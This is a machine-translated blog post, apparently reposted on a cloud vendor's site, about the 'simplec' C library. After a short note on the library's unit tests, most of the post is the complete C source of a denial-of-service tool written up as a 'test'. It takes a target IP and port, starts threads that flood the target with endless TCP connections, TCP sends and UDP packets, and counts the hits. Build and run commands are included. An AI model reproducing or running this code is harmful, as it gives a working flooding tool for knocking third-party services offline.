C basic library framework, libraryframework

Source: Internet
Author: User

C basic library framework, libraryframework

Introduction to simplec unit test process

A basic C library simplec 2.0.0 has been released. For more information, see README. md.

This article briefly introduces how to add the unit test function in simplec.

The START process of simplec winds Debug is main-> simplec_main-> simplec_test.

Unit testing adopts the following structure:

/** Simple c unit test main function * return: void */void simplec_test (void) {// unit test-test plog log system extern void test_plog (void ); // unit test-test scthreads thread pool extern void test_scthreads (void); // unit test-test iop network io extern void test_iopserver (void ); // unit test-test libcurl http library extern void test_httputil (void); // unit test-test toys ddos attack extern void test_ddos (void); test_ddos ();}

Note that each unit test function must map a file structure with the same name, as shown in

Using the above rules, a unit test execution file is generated on linux to facilitate script joint testing.

# For unit test, generate the running program of the specified main function and replace it with the main operation RUNT =$ (RHAD)-o $ (TAR_PATH)/$ (TEST_DIR) /$ @ $ (RTAL) COPT = objcopy -- redefine-sym $ (basename $ @) = main $ (OBJP) $ (basename $ @). o

More detailed rules, learn Makefile

 

Text-use simplec to write a ddos attack

It is useless to say too much. At the basic database level, for example, Shaolin martial arts, there is only a one-way practice. No magic is used, and it is so brilliant.

The attack idea is also very simple. tcp and udp are used back and forth. Some companies, such as Baidu, do a good job in defending against ddos attacks.

Add the unit test module directly to the codeTest_ddos.c

# Include <iop_util.h> # include <scthreads. h> # define _ INT_HOSTV4 (16) # define _ INT_TIMEOUT (3000) struct targ {sockaddr_t addr; char ts [BUFSIZ]; char us [BUFSIZ]; // Attack Count uint64_t connect; uint64_t tcpsend; uint64_t udpsend ;}; // obtain the address information void addr_input (sockaddr_t * addr) entered by the gamer ); // check whether the IP address is bool addr_check (sockaddr_t * addr); // currently, three types of threads are started, and two are connect, 2 are connect + send 2 are udp sendvoid ddos_run (struct tar G * arg); // ddos attack entrance // void test_ddos (void) {// records the number of detailed attacks. ts and us are dirty data that can be randomly sent to struct targ arg; arg. udpsend = arg. tcpsend = arg. connect = 0; // obtain the player address information addr_input (& arg. addr); if (! Addr_check (& arg. addr) CERR_EXIT ("ip or port check is error !!! "); // Start to start the ddos_run (& arg) thread; //:> Start statistics puts (" connect count tcp send count udp send count "); for (;) {printf ("%" PRIu64 "%" PRIu64 "%" PRIu64 "\ n", arg. connect, arg. tcpsend, arg. udpsend); sh_sleep (_ INT_TIMEOUT) ;}// obtain the address entered by the player. voidaddr_input (sockaddr_t * addr) {bool flag = true; int rt = 0; uint16_t port; char ip [_ INT_HOSTV4] = {0}; puts ("Please input ip and port, example:> 127.0.0.1 8088" ); Printf (":>"); // refactor scanf to fix the injection vulnerability while (rt <_ INT_HOSTV4-1) {char c = getchar (); if (isspace (c) {if (flag) continue; break;} flag = false; ip [rt ++] = c ;} ip [rt] = '\ 0'; rt = scanf ("% hu", & port); if (rt! = 1) CERR_EXIT ("scanf_s addr-> host = % s, port = % hu. ", ip, port); printf (" connect check input addr ip: port = % s: % hu. \ n ", ip, port); // The following is the address information to be verified if (socket_addr (ip, port, addr) <Success_Base) CERR_EXIT (" socket_addr ip, port is error = % s, % hu. ", ip, port) ;}// check whether the IP address is valid booladdr_check (sockaddr_t * addr) {int r; socket_t s = socket_stream (); if (s = INVALID_SOCKET) {RETURN (false, "socket_stream Is error !! ");} R = socket_connecto (s, addr, _ INT_TIMEOUT); socket_close (s); if (r <Success_Base) {RETURN (false, "socket_connecto addr is timeout = % d. ", _ INT_TIMEOUT);} return true;} // connect Link static void _ connect (struct targ * targ) {// crazy connect (;;) {socket_t s = socket_stream (); if (s = INVALID_SOCKET) {CERR ("socket_stream is error! "); Continue;} // For exact statistics, be sure to connect successfully while (socket_connect (s, & targ-> addr) <Success_Base); ++ targ-> connect; socket_close (s) ;}// connect + send connect to static void _ tcpsend (struct targ * targ) {// crazy connect (;;) {socket_t s = socket_stream (); if (s = INVALID_SOCKET) {CERR ("socket_stream is error! "); Continue;} // For exact statistics, be sure to connect successfully while (socket_connect (s, & targ-> addr) <Success_Base ); // send a data packet in the wild while (socket_send (s, targ-> ts, BUFSIZ)> = Success_Base) ++ targ-> tcpsend; socket_close (s );}} // udp send connects to static void _ udpsend (struct targ * targ) {for (;) {socket_t s = socket_dgram (); if (s = INVALID_SOCKET) {CERR ("socket_stream is error! "); Continue;} // send data packets in a crazy manner while (socket_sendto (s, targ-> us, BUFSIZ, 0, & targ-> addr, sizeof (targ-> addr)> = Success_Base) + + targ-> udpsend; socket_close (s) ;}// currently three types of threads are started, and two are connect, the two are connect + send, and the two are udp sendvoidddos_run (struct targ * arg) {// create two connect threads CERR_IF (async_run (_ connect, arg )); CERR_IF (async_run (_ connect, arg); // create two connect + send threads CERR_IF (async_run (_ tcpsend, arg); CERR_IF (async_run (_ tcpsend, arg); // create two _ udpsend threads CERR_IF (async_run (_ udpsend, arg); CERR_IF (async_run (_ udpsend, arg ));}

Test the demo result on winds first.

Test it on linux. make; cd Output/test;./test_ddos.exe

Everything is so natural .[The error will be fixed. please correct me.]

Simplec is enough to use C to complete many tasks you want. It is the basic library under the framework layer.

Everything is just getting started. It is also a good start.

  

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.